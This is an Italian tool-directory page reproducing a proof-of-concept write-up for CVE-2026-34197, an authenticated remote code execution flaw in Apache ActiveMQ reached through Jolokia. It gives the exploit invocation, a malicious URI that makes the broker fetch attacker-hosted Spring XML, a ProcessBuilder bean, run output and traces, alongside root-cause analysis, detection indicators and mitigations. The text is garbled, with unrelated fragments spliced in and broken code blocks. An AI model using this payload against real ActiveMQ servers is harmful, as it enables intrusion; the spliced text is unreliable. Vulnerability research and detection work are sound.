Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34197 — Exploit proof-of-concept per CVE-2026-34197, che dimostra l'esecuzione remota di codice autenticata in Apache ActiveMQ tramite il bridge JMX-HTTP di Jolokia e l'iniezione di bean Spring XML. | Kitploit
Strumenti/GitHubGitHub/lat-06/cve-2026-34197
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHublat-06/cve-2026-34197

CVE-2026-34197

Exploit proof-of-concept per CVE-2026-34197, che dimostra l'esecuzione remota di codice autenticata in Apache ActiveMQ tramite il bridge JMX-HTTP di Jolokia e l'iniezione di bean Spring XML.

33 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2026-34197

Descrizione
Convalida dell'input impropria, Controllo improprio della generazione di codice ('Code Injection') vulnerabilità in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic espone il ponte Jolokia JMX-HTTP all'indirizzo /api/jolokia/ sulla console web. La politica di accesso predefinita di Jolokia consente operazioni exec su tutti gli MBean di ActiveMQ (org.apache.activemq:*), inclusi BrokerService.addNetworkConnector(String) e BrokerService.addConnector(String). Un attaccante autenticato può invocare queste operazioni con un URI di scoperta appositamente predisposto che attiva il parametro brokerConfig del trasporto VM per caricare un contesto applicativo Spring XML remoto utilizzando ResourceXmlApplicationContext. Poiché ResourceXmlApplicationContext di Spring istanzia tutti i bean singleton prima che BrokerService convalidi la configurazione, l'esecuzione arbitraria di codice avviene sulla JVM del broker attraverso metodi factory dei bean come Runtime.exec(). Questo problema riguarda Apache ActiveMQ Broker: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ All: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ: prima di 5.19.4, da 6.0.0 a prima di 6.2.3. Si consiglia agli utenti di aggiornare alla versione 5.19.4 o 6.2.3, che risolve il problema

Maggiori informazioni in: link

Fase di Exploit

Riferimento

Github: link```bash ❯ docker compose up -d

root@kitploit:~
a scegliere. Guardare la radice del progetto principale nella cartella `deepspeech/`.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` All'avvio del broker, ActiveMQ registra `BrokerView` come MBean di gestione del broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` Il nome dell'oggetto viene creato come:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` Nella distribuzione predefinita, questo espone l'MBean del broker come un target Jolokia richiamabile tramite HTTP, ad esempio:```text org.apache.activemq:type=Broker,brokerName=localhost ``` `BrokerView`: facciata di gestione del broker rivolta a JMX. Espone `addNetworkConnector(String)` e `addConnector(String)`. - `BrokerService`: oggetto runtime del broker. Converte un indirizzo di connettore di rete in un `URI` e crea un `DiscoveryNetworkConnector`. - `DiscoveryNetworkConnector`: utilizza un agente di discovery per ottenere URI di servizi broker remoti, quindi si connette a ciascun URI scoperto. - `TransportFactory`: risolve uno schema URI in una factory di trasporto utilizzando `META-INF/services/org/apache/activemq/transport/`. - `VMTransportFactory`: gestisce i trasporti `vm://` e può creare automaticamente un broker embedded quando il broker VM richiesto non esiste. - `BrokerFactory`: risolve uno schema URI di configurazione del broker utilizzando `META-INF/services/org/apache/activemq/broker/`. - `XBeanBrokerFactory`: gestisce URI di configurazione del broker `xbean:` e crea un contesto applicativo Spring/XBean. - `ResourceXmlApplicationContext`: carica la risorsa XML e esegue l'aggiornamento della factory di bean Spring, inclusa la creazione eager di singleton.

Con LHOST è l'IP privato sul computer. È possibile utilizzare ipconfig su Windows o ifconfig su Linux

Verifica della RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE riuscita, il file `blahblah.txt` è stato creato sul sistema di destinazione.

# Fase di Analisi
## Analisi Dinamica```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

I log di runtime hanno anche confermato che Jolokia era abilitato ed esposto tramite la console web di ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Verifica la connessione```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Ciò significa:

  • Jolokia era accessibile
  • L'autenticazione è riuscita utilizzando le credenziali predefinite
  • Il target stava eseguendo ActiveMQ 5.18.6
  • L'agente Jolokia ha accettato richieste autenticate

Per leggere i log```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
Poi grep per la catena pulita```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Dopo l'invio del payload```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Questa riga è critica perché conferma che l'URI controllato dall'attaccante fornito tramite:```java
BrokerView.addNetworkConnector(String)

ha raggiunto il livello di trasporto della VM senza sanitizzazione.

L'URI malevolo utilizzato durante lo sfruttamento era:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
Questo URI contiene due parti importanti:

| Componente       | Scopo                                                |
| --------------- | ---------------------------------------------------- |
| `static:(...)`  | Wrapper utilizzato dai connettori di discovery ActiveMQ |
| `vm://evil?...` | URI del transport VM elaborato internamente da ActiveMQ |

Il wrapper `static:(...)` stesso non è il componente vulnerabile. Il suo scopo è passare l'URI del transport racchiuso al sottosistema del connettore di rete di ActiveMQ.

Durante l'esecuzione runtime, ActiveMQ estraeva e processava l'URI del transport VM interno:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Questo comportamento è stato confermato nei log di runtime:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Il parametro `brokerConfig=` è la parte critica del payload. Esso ha istruito il livello di trasporto VM a creare dinamicamente un'istanza del broker utilizzando una configurazione Spring xbean esterna caricata da:```text
http://192.168.1.32:9999/evil.xml

Il prefisso xbean: ha fatto sì che ActiveMQ delegasse l'elaborazione al caricatore del contesto applicativo XML di Spring:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
Di conseguenza, il documento XML remoto è stato analizzato e istanziato come contesto dell'applicazione Spring all'interno della JVM broker.

L'XML malevolo conteneva il seguente bean Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Questa definizione di bean ha istruito Spring a istanziare un oggetto ProcessBuilder e invocare immediatamente il suo metodo start() durante l'inizializzazione del contesto dell'applicazione.

L'exploit ha utilizzato il seguente comando:```bash touch /tmp/blahblah.txt

root@kitploit:~
Poiché Spring istanzia avidamente i bean singleton durante l'inizializzazione del contesto, il metodo `ProcessBuilder.start()` è stato eseguito prima che ActiveMQ convalidasse se la configurazione del broker stessa fosse sicura o valida.

Ciò ha comportato l'esecuzione arbitraria di comandi sul contenitore di destinazione.

Lo sfruttamento è stato verificato controllando la directory `/tmp` all'interno del contenitore di ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

I metadati del file hanno ulteriormente confermato l'esecuzione riuscita del comando:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
Ciò dimostra che comandi arbitrari del sistema operativo sono stati eseguiti con successo nel contesto del container ActiveMQ. La traccia dello stack di runtime ha anche rivelato il percorso di esecuzione vulnerabile completo:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Le seguenti voci di stack trace sono state osservate durante l'analisi runtime:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
Una delle osservazioni più importanti durante l'analisi dinamica è stata l'ordine con cui Spring e ActiveMQ hanno elaborato la configurazione dannosa. Dopo che il payload è stato eseguito con successo, ActiveMQ ha successivamente generato il seguente avviso:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Questo comportamento dimostra che:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Anche se la configurazione del broker stesso è stata infine rifiutata, il bean Spring malevolo era già stato istanziato ed eseguito.

Questo problema di ordinamento è il difetto logico alla base di CVE-2026-34197.

L'analisi dinamica ha identificato i seguenti componenti che partecipano alla catena di exploit:

| Componente                    | Ruolo                                        |
| ----------------------------- | -------------------------------------------- |
| Jolokia                       | Ponte HTTP-JMX                               |
| BrokerView                    | MBean di gestione esposto                    |
| VMTransportFactory            | Analizza l'URI di trasporto `vm://`          |
| BrokerFactory                 | Crea un'istanza del broker                   |
| XBeanBrokerFactory            | Carica la configurazione Spring xbean        |
| ResourceXmlApplicationContext | Carica XML remoto                             |
| XmlBeanDefinitionReader       | Analizza le definizioni dei bean Spring      |
| Spring BeanFactory            | Istanzia bean singleton                       |
| ProcessBuilder                | Esegue comandi del sistema operativo          |

L'analisi dinamica conferma che CVE-2026-34197 è causato dall'interazione tra:

* Operazioni di gestione Jolokia eccessivamente permissive
* URI di trasporto controllati dall'attaccante
* Auto-creazione del broker di trasporto VM
* Caricamento della configurazione remota Spring xbean
* Istanziazione eager di bean singleton prima della convalida

Di conseguenza, un attaccante autenticato può ottenere l'esecuzione arbitraria di codice sulla JVM di ActiveMQ fornendo un URI malevolo `brokerConfig=xbean:http://...` attraverso l'operazione `addNetworkConnector()` esposta da Jolokia.

### Panoramica dell'architettura

Apache ActiveMQ Classic espone un'interfaccia di gestione attraverso il ponte JMX-HTTP Jolokia disponibile all'indirizzo:```text id="n0vmrq"
/api/jolokia/

Jolokia funge da ponte HTTP-to-JMX, consentendo agli utenti autenticati di invocare le operazioni Java Management Extensions (JMX) da remoto tramite HTTP. Il percorso architetturale vulnerabile identificato durante l'analisi è mostrato di seguito:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
I seguenti componenti erano coinvolti nella catena di exploit:

| Component             | Funzione                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Espone le operazioni JMX su HTTP             |
| BrokerView            | Interfaccia MBean di gestione                |
| VMTransportFactory    | Elabora gli URI di trasporto `vm://`         |
| BrokerFactory         | Crea dinamicamente broker                    |
| XBeanBrokerFactory    | Carica configurazioni Spring xbean           |
| Spring Context Loader | Analizza e istanzia definizioni di bean XML  |
| ProcessBuilder        | Esegue comandi del sistema operativo         |

L'architettura diventa vulnerabile perché ActiveMQ consente a utenti autenticati di invocare metodi pericolosi di gestione del broker con URI di trasporto controllati dall'attaccante.

---

### Analisi della Superficie d'Attacco

La superficie d'attacco principale è l'endpoint HTTP Jolokia esposto tramite la console web di ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

L'analisi runtime ha confermato che l'interfaccia Jolokia era abilitata per impostazione predefinita:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
L'endpoint Jolokia accettava richieste autenticate utilizzando l'autenticazione di base HTTP:```json id="13tzmx"
"authMode":"basic"

La seguente operazione di gestione pericolosa è stata esposta:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
Questo metodo accetta un URI di trasporto controllato dall'utente senza limitare sufficientemente schemi URI pericolosi o parametri di configurazione.

L'attaccante ha fornito il seguente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Questo payload ha abusato di diverse funzionalità contemporaneamente:

FunzionalitàAbuso
addNetworkConnector()Accetta URI controllato dall'attaccante
vm:// transportInnesca la creazione dinamica del broker
brokerConfig=Carica configurazione arbitraria del broker
xbean:Invoca il caricatore Spring XML
Remote HTTP URLRecupera XML controllato dall'attaccante

La superficie d'attacco include quindi:

  • Esposizione dell'API HTTP di Jolokia
  • Operazioni di gestione JMX debolmente limitate
  • Parsing dinamico dell'URI di trasporto
  • Caricamento della configurazione del broker esterno
  • Integrazione Spring xbean

Analisi della Causa Principale

La vulnerabilità è causata dall'interazione tra più sottosistemi fidati all'interno di ActiveMQ.

Il problema principale è che gli utenti autenticati di Jolokia possono invocare operazioni di gestione del broker pericolose con URI di trasporto controllati dall'attaccante.

Il flusso di esecuzione vulnerabile identificato durante l'analisi runtime è:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
Il parametro critico è:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Questo parametro istruisce lo strato di trasporto VM a creare dinamicamente un broker utilizzando una configurazione Spring xbean esterna.

Le seguenti evidenze di runtime hanno confermato questo comportamento:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring ha quindi caricato il XML remoto tramite:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Il XML malintenzionato conteneva:```xml id="y6jphd"

root@kitploit:~
Durante l'inizializzazione del contesto applicativo Spring, i bean singleton vengono istanziati con eager loading. Di conseguenza, il metodo `ProcessBuilder.start()` è stato eseguito immediatamente.

Il difetto logico chiave è che l'istanziazione del bean Spring è avvenuta prima che ActiveMQ validasse se la configurazione del broker stessa fosse sicura o valida.

Questo comportamento è stato dimostrato dinamicamente perché:

1. Il payload malevolo ha creato con successo `/tmp/blahblah.txt`
2. ActiveMQ ha successivamente rifiutato la configurazione del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance

Questo dimostra che l'esecuzione del codice è avvenuta prima del completamento della convalida del broker.


Indicatori di Compromissione (IOC) e Rilevamento

I potenziali indicatori di compromissione includono richieste Jolokia sospette che mirano a operazioni di gestione di ActiveMQ.

Operazioni Jolokia Sospette

Cerca richieste che invocano:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
attraverso:```text id="pt2n3d"
/api/jolokia/

Pattern URI sospetti

I seguenti frammenti URI sono forti indicatori di tentativi di exploit:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
Esempio di payload dannoso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Connessioni HTTP in uscita

Il broker può avviare richieste in uscita verso infrastrutture controllate dall'attaccante:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
Il traffico HTTP in uscita inaspettato dal broker JVM dovrebbe essere investigato.

#### Log di runtime sospetti

I seguenti messaggi di runtime sono sospetti:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
  • Fonti dati -
    | Elemento | Dettagli |
    |----------|-----------|
    | Titolo fonte dati | wmiprvse processo di generazione |
    | Modifica fonte dati | wmiprvse processo di generazione |
    | Creazione fonte dati | wmiprvse processo di generazione |
    | Dove sono stati trovati i dati? | I dati sono stati rilevati utilizzando Sysmon EID1 e filtrando su Image="C:\Windows\System32\wbem\WMI
    PrvSE.exe" e processo contiene "cmd" |```text id="3q2vls" ResourceXmlApplicationContext
root@kitploit:~
User input is empty, so output is empty.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

Artefatti del filesystem

File inaspettati in:```text id="6x7qcm" /tmp/

root@kitploit:~
or suspicious child process execution from the ActiveMQ JVM may indicate exploitation.

---

### Analisi dell'impatto

Uno sfruttamento riuscito consente l'esecuzione remota di codice autenticata nel contesto della JVM di ActiveMQ.

Nell'ambiente analizzato, comandi arbitrari del sistema operativo sono stati eseguiti con successo all'interno del container:```bash id="2hyz0w"
touch /tmp/blahblah.txt

Risultato:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
Il file è stato creato come:```text id="9phgkz"
Uid: (0/root)

Ciò indica che l'esecuzione del comando è avvenuta con privilegi di root all'interno del contenitore.

L'impatto potenziale include:

ImpattoDescrizione
Esecuzione remota di codiceEsecuzione arbitraria di comandi
Compromissione del contenitoreCompromissione totale del contenitore ActiveMQ
Furto di credenzialiAccesso a credenziali e segreti del broker
Movimento lateralePivot verso sistemi adiacenti
PersistenzaCreazione di connettori di rete dannosi
Esposizione dei datiAccesso ai messaggi e alle code del broker

La gravità aumenta significativamente se:

  • Jolokia è esposta esternamente
  • Le credenziali predefinite rimangono abilitate
  • I contenitori vengono eseguiti come root
  • Gli host del broker hanno accesso in uscita senza restrizioni

Mitigazione

Aggiornamento alle versioni corrette

Aggiorna ActiveMQ Classic a:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### Limitare l'accesso a Jolokia

Disabilitare Jolokia se non necessario.

Se Jolokia deve rimanere abilitato:

* Limitare l'accesso alle reti amministrative fidate
* Applicare l'autenticazione forte
* Disabilitare le operazioni exec pericolose
* Applicare policy di accesso restrittive a Jolokia

#### Rimuovere le Credenziali Predefinite

Non utilizzare:```text id="9mw1xv"
admin:admin

Limitare l'accesso di rete in uscita

Impedire al broker di avviare connessioni HTTP arbitrarie in uscita.

Ciò mitiga tentativi di recupero remoto di XML.

Disabilitare funzionalità pericolose

Limitare o disabilitare:

  • Creazione dinamica del broker
  • Utilizzo del trasporto vm://
  • Caricamento di configurazioni esterne xbean:

Rafforzare l'ambiente runtime

  • Eseguire i container come utenti non root
  • Applicare restrizioni del filesystem
  • Utilizzare la segmentazione di rete
  • Monitorare l'esecuzione dei processi figli della JVM

Raccomandazioni per il rilevamento

Monitorare per:

  • Richieste a /api/jolokia/
  • Utilizzo di addNetworkConnector
  • Parametri brokerConfig=
  • URI xbean:
  • Richieste HTTP in uscita dalla JVM del broker
  • Processi figlio imprevisti generati da Java

Analisi statica

Panoramica del codice sorgente

Il percorso vulnerabile attraversa il layer di gestione web/JMX di ActiveMQ, il layer di networking del broker, il trasporto VM, il sottosistema della factory del broker e il caricamento della configurazione Spring XBean.

Jolokia è abilitato nell'applicazione API web di ActiveMQ:```xml

La vulnerabilità esiste perché il metodo di gestione accetta un linguaggio URI di ActiveMQ che non è dati passivi. Quando l'URI viene valutato, può creare broker e caricare configurazioni Spring XML.


Punto di ingresso vulnerabile

Il punto di ingresso vulnerabile è:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
L'interfaccia MBean espone l'operazione come:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

L'input controllato dall'attaccante è l'argomento exec di Jolokia passato a discoveryAddress. Nella versione vulnerabile, BrokerView.addNetworkConnector() non esegue alcuna validazione dello schema, nessuna validazione dell'URI annidato e nessun filtro dei parametri specifici del trasporto prima di passare la stringa a BrokerService.

BrokerService converte direttamente la stringa in un URI:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
L'oggetto connettore viene quindi configurato con l'URI del broker locale e aggiunto al broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Il controllo raggiunge il sottosistema di trasporto quando BrokerView avvia il connettore:```java connector.start();

root@kitploit:~
Per l'URI dell'exploit:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...) crea un connettore di scoperta statico, e l'URI interno vm://... diventa il servizio remoto scoperto.


Analisi del VM Transport

Il trasporto VM viene risolto tramite:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
Il metodo vulnerabile è:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

Il metodo analizza l'URI vm://, estrae i parametri di query e tratta brokerConfig come un URI di creazione del broker:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
L'opzione `create` è impostata di default a `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

